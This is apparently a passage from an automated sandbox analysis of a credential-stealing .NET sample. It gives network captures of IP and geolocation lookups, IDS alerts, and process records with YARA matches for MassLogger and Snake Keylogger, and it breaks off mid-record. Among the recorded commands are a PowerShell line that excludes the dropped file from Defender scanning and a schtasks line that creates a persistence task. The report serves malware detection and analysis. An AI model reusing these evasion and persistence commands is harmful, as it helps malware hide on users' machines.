.rsrc	0x8c000	0x5e0	0x600	85bad13ef3de22f53b3b0a54a65a1a39	False	0.4329427083333333	data	4.164283067317504	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x8e000	0xc	0x200	f4e2a06343b3e98c7992d27b773b22d8	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x8c090	0x350	data			0.42452830188679247
RT_MANIFEST	0x8c3f0	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-14T13:56:58.649423+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49735	193.122.130.0	80	TCP
2025-01-14T13:57:01.442234+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49737	193.122.130.0	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 13:56:58.001986980 CET	49735	80	192.168.2.4	193.122.130.0
Jan 14, 2025 13:56:58.006875038 CET	80	49735	193.122.130.0	192.168.2.4
Jan 14, 2025 13:56:58.006933928 CET	49735	80	192.168.2.4	193.122.130.0
Jan 14, 2025 13:56:58.007150888 CET	49735	80	192.168.2.4	193.122.130.0
Jan 14, 2025 13:56:58.011940002 CET	80	49735	193.122.130.0	192.168.2.4
Jan 14, 2025 13:56:58.482489109 CET	80	49735	193.122.130.0	192.168.2.4
Jan 14, 2025 13:56:58.490120888 CET	49735	80	192.168.2.4	193.122.130.0
Jan 14, 2025 13:56:58.495034933 CET	80	49735	193.122.130.0	192.168.2.4
Jan 14, 2025 13:56:58.594799042 CET	80	49735	193.122.130.0	192.168.2.4
Jan 14, 2025 13:56:58.604175091 CET	49736	443	192.168.2.4	104.21.16.1
Jan 14, 2025 13:56:58.604223967 CET	443	49736	104.21.16.1	192.168.2.4
Jan 14, 2025 13:56:58.604290962 CET	49736	443	192.168.2.4	104.21.16.1
Jan 14, 2025 13:56:58.611109018 CET	49736	443	192.168.2.4	104.21.16.1
Jan 14, 2025 13:56:58.611124039 CET	443	49736	104.21.16.1	192.168.2.4
Jan 14, 2025 13:56:58.649422884 CET	49735	80	192.168.2.4	193.122.130.0
Jan 14, 2025 13:56:59.074851036 CET	443	49736	104.21.16.1	192.168.2.4
Jan 14, 2025 13:56:59.075011015 CET	49736	443	192.168.2.4	104.21.16.1
Jan 14, 2025 13:56:59.079155922 CET	49736	443	192.168.2.4	104.21.16.1
Jan 14, 2025 13:56:59.079169989 CET	443	49736	104.21.16.1	192.168.2.4
Jan 14, 2025 13:56:59.079457998 CET	443	49736	104.21.16.1	192.168.2.4
Jan 14, 2025 13:56:59.126729965 CET	49736	443	192.168.2.4	104.21.16.1
Jan 14, 2025 13:56:59.167356968 CET	443	49736	104.21.16.1	192.168.2.4
Jan 14, 2025 13:56:59.234988928 CET	443	49736	104.21.16.1	192.168.2.4
Jan 14, 2025 13:56:59.235048056 CET	443	49736	104.21.16.1	192.168.2.4
Jan 14, 2025 13:56:59.235235929 CET	49736	443	192.168.2.4	104.21.16.1
Jan 14, 2025 13:56:59.247643948 CET	49736	443	192.168.2.4	104.21.16.1
Jan 14, 2025 13:57:00.300474882 CET	49737	80	192.168.2.4	193.122.130.0
Jan 14, 2025 13:57:00.305622101 CET	80	49737	193.122.130.0	192.168.2.4
Jan 14, 2025 13:57:00.305696011 CET	49737	80	192.168.2.4	193.122.130.0
Jan 14, 2025 13:57:00.311870098 CET	49737	80	192.168.2.4	193.122.130.0
Jan 14, 2025 13:57:00.316889048 CET	80	49737	193.122.130.0	192.168.2.4
Jan 14, 2025 13:57:01.103172064 CET	80	49737	193.122.130.0	192.168.2.4
Jan 14, 2025 13:57:01.109560013 CET	49737	80	192.168.2.4	193.122.130.0
Jan 14, 2025 13:57:01.114382982 CET	80	49737	193.122.130.0	192.168.2.4
Jan 14, 2025 13:57:01.232258081 CET	80	49737	193.122.130.0	192.168.2.4
Jan 14, 2025 13:57:01.234155893 CET	49739	443	192.168.2.4	104.21.16.1
Jan 14, 2025 13:57:01.234198093 CET	443	49739	104.21.16.1	192.168.2.4
Jan 14, 2025 13:57:01.234262943 CET	49739	443	192.168.2.4	104.21.16.1
Jan 14, 2025 13:57:01.237883091 CET	49739	443	192.168.2.4	104.21.16.1
Jan 14, 2025 13:57:01.237920046 CET	443	49739	104.21.16.1	192.168.2.4
Jan 14, 2025 13:57:01.442164898 CET	80	49737	193.122.130.0	192.168.2.4
Jan 14, 2025 13:57:01.442234039 CET	49737	80	192.168.2.4	193.122.130.0
Jan 14, 2025 13:57:01.720171928 CET	443	49739	104.21.16.1	192.168.2.4
Jan 14, 2025 13:57:01.720276117 CET	49739	443	192.168.2.4	104.21.16.1
Jan 14, 2025 13:57:01.721863985 CET	49739	443	192.168.2.4	104.21.16.1
Jan 14, 2025 13:57:01.721879005 CET	443	49739	104.21.16.1	192.168.2.4
Jan 14, 2025 13:57:01.722266912 CET	443	49739	104.21.16.1	192.168.2.4
Jan 14, 2025 13:57:01.766587973 CET	49739	443	192.168.2.4	104.21.16.1
Jan 14, 2025 13:57:01.807329893 CET	443	49739	104.21.16.1	192.168.2.4
Jan 14, 2025 13:57:01.882544041 CET	443	49739	104.21.16.1	192.168.2.4
Jan 14, 2025 13:57:01.882606983 CET	443	49739	104.21.16.1	192.168.2.4
Jan 14, 2025 13:57:01.882721901 CET	49739	443	192.168.2.4	104.21.16.1
Jan 14, 2025 13:57:01.885422945 CET	49739	443	192.168.2.4	104.21.16.1
Jan 14, 2025 13:58:03.595369101 CET	80	49735	193.122.130.0	192.168.2.4
Jan 14, 2025 13:58:03.595484972 CET	49735	80	192.168.2.4	193.122.130.0
Jan 14, 2025 13:58:06.231836081 CET	80	49737	193.122.130.0	192.168.2.4
Jan 14, 2025 13:58:06.231909990 CET	49737	80	192.168.2.4	193.122.130.0
Jan 14, 2025 13:58:38.603637934 CET	49735	80	192.168.2.4	193.122.130.0
Jan 14, 2025 13:58:38.608592987 CET	80	49735	193.122.130.0	192.168.2.4
Jan 14, 2025 13:58:41.243664026 CET	49737	80	192.168.2.4	193.122.130.0
Jan 14, 2025 13:58:41.248574018 CET	80	49737	193.122.130.0	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 13:56:57.989805937 CET	61508	53	192.168.2.4	1.1.1.1
Jan 14, 2025 13:56:57.996706963 CET	53	61508	1.1.1.1	192.168.2.4
Jan 14, 2025 13:56:58.596271038 CET	64356	53	192.168.2.4	1.1.1.1
Jan 14, 2025 13:56:58.603367090 CET	53	64356	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 13:56:57.989805937 CET	192.168.2.4	1.1.1.1	0x7741	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 14, 2025 13:56:58.596271038 CET	192.168.2.4	1.1.1.1	0x6683	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 13:56:57.996706963 CET	1.1.1.1	192.168.2.4	0x7741	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 13:56:57.996706963 CET	1.1.1.1	192.168.2.4	0x7741	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 14, 2025 13:56:57.996706963 CET	1.1.1.1	192.168.2.4	0x7741	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 14, 2025 13:56:57.996706963 CET	1.1.1.1	192.168.2.4	0x7741	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 14, 2025 13:56:57.996706963 CET	1.1.1.1	192.168.2.4	0x7741	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 14, 2025 13:56:57.996706963 CET	1.1.1.1	192.168.2.4	0x7741	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 14, 2025 13:56:58.603367090 CET	1.1.1.1	192.168.2.4	0x6683	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 13:56:58.603367090 CET	1.1.1.1	192.168.2.4	0x6683	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 13:56:58.603367090 CET	1.1.1.1	192.168.2.4	0x6683	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 13:56:58.603367090 CET	1.1.1.1	192.168.2.4	0x6683	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 13:56:58.603367090 CET	1.1.1.1	192.168.2.4	0x6683	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 13:56:58.603367090 CET	1.1.1.1	192.168.2.4	0x6683	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 13:56:58.603367090 CET	1.1.1.1	192.168.2.4	0x6683	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	193.122.130.0	80	7768	C:\Users\user\Desktop\MB263350411AE_1.scr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 13:56:58.007150888 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 14, 2025 13:56:58.482489109 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 12:56:58 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f7ed56eff7ac1664d58b241bc65ab820 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 14, 2025 13:56:58.490120888 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 14, 2025 13:56:58.594799042 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 12:56:58 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 402970175e9e8e9bc809c2a41ce8682d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	193.122.130.0	80	8044	C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 13:57:00.311870098 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 14, 2025 13:57:01.103172064 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 12:57:01 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f5d76f813b0a090fffa6a527dd376d53 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 14, 2025 13:57:01.109560013 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 14, 2025 13:57:01.232258081 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 12:57:01 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f21fb4cc930a4c42e6b24b2256851c40 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 14, 2025 13:57:01.442164898 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 12:57:01 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f21fb4cc930a4c42e6b24b2256851c40 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	104.21.16.1	443	7768	C:\Users\user\Desktop\MB263350411AE_1.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 12:56:59 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-14 12:56:59 UTC	861	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 12:56:59 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2174208 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9rgDGI9PsJt6Xf5q4u8FqdmarpUmW%2FXyrPC0vXJ%2FUHXjClLEDVDvsSj3PxsT0gzcAFYGFZf%2FmknEeVB0njXurjt4o8%2BRal7UaOCfc%2FLWQAwJPRer5F8fa16%2Fx09yxbjq3IszjT5t"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901dca09dde18ce0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1777&min_rtt=1770&rtt_var=678&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1598248&cwnd=215&unsent_bytes=0&cid=65c09c59725d7ee9&ts=172&x=0"
2025-01-14 12:56:59 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	104.21.16.1	443	8044	C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 12:57:01 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-14 12:57:01 UTC	863	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 12:57:01 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2174210 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XAGAYIEApIc%2FhM7J9Jos%2FS3MrEeyuu2%2BmAsFoyFtGlly9b4p%2B%2FgxKu3iyfpreeeDIcpAtf8rBzKZjn%2FlDuYwyzk9J4UJXfqMbIWNlCXLCMmmwkbPA%2FK1hftUzjMhxfRdQVgb7cMi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901dca1a5cb24388-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1609&min_rtt=1608&rtt_var=605&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1803582&cwnd=221&unsent_bytes=0&cid=9eff27e5f79cac43&ts=169&x=0"
2025-01-14 12:57:01 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Target ID:	0
Start time:	07:56:54
Start date:	14/01/2025
Path:	C:\Users\user\Desktop\MB263350411AE_1.scr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\MB263350411AE_1.scr.exe"
Imagebase:	0x5d0000
File size:	578'056 bytes
MD5 hash:	E10205715F674C1E004C6DBFCED1D278
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1712307029.0000000005310000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000000.00000002.1709843168.0000000003A27000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1709843168.0000000003A27000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1709843168.0000000003A27000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1709843168.0000000003A27000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1708901730.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:56:56
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe"
Imagebase:	0xc10000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:56:56
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:56:56
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nDVstwLnVvg" /XML "C:\Users\user\AppData\Local\Temp\tmp1488.tmp"
Imagebase:	0x450000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:56:56
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:56:57
Start date:	14/01/2025
Path:	C:\Users\user\Desktop\MB263350411AE_1.scr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\MB263350411AE_1.scr.exe"
Imagebase:	0x690000
File size:	578'056 bytes
MD5 hash:	E10205715F674C1E004C6DBFCED1D278
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000006.00000002.2904272614.0000000000403000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.2904272614.0000000000403000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000006.00000002.2904272614.0000000000403000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000006.00000002.2904272614.0000000000403000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.2907398360.00000000029F3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	07:56:57
Start date:	14/01/2025
Path:	C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe
Imagebase:	0xf40000
File size:	578'056 bytes
MD5 hash:	E10205715F674C1E004C6DBFCED1D278
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000007.00000002.1743871587.0000000004507000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.1743871587.0000000004507000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000007.00000002.1743871587.0000000004507000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000007.00000002.1743871587.0000000004507000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000007.00000002.1743871587.00000000043AA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.1743871587.00000000043AA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 